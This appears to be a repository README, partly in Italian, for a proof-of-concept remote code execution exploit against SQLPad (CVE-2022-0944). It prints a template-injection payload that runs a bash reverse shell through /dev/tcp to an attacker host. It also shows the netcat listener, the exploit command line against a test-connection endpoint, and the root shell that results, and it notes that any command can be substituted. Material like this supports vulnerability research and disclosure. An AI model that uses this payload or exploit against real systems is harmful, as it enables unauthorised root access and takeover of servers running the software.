toneillcodes/cve-2022-0944PoC per RCE in SQLPad (CVE-2022-0944)
PoC per RCE in SQLPad.
Questo esempio genera una reverse shell, ma il payload può essere modificato per eseguire qualsiasi comando disponibile cambiando il comando nella chiamata 'exec' all'interno del payload.
payload = f"{{{{ process.mainModule.require('child_process').exec('/bin/bash -c "bash -i >& /dev/tcp/{reverse_host}/{reverse_port} 0>&1"') }}}}"
Python 3
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ nc -lvkp 7070
listening on [any] 7070 ...
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ python poc-cve-2022-0944.py -u http://sqlpad.example.com/api/test-connection -a 10.10.11.208 -p 7070
[*] Running exploit against target: http://sqlpad.example.com/api/test-connection
[*] Assembling JSON with payload
[*] Submitting request...
[!] Exploit appears to have been successful.
[*] Done.
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ nc -lvkp 7070
listening on [any] 7070 ...
connect to [10.10.11.208] from example.com [10.10.11.25] 45502
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# id
uid=0(root) gid=0(root) groups=0(root)
root@c184118df0a6:/var/lib/sqlpad#
https://nvd.nist.gov/vuln/detail/CVE-2022-0944
https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb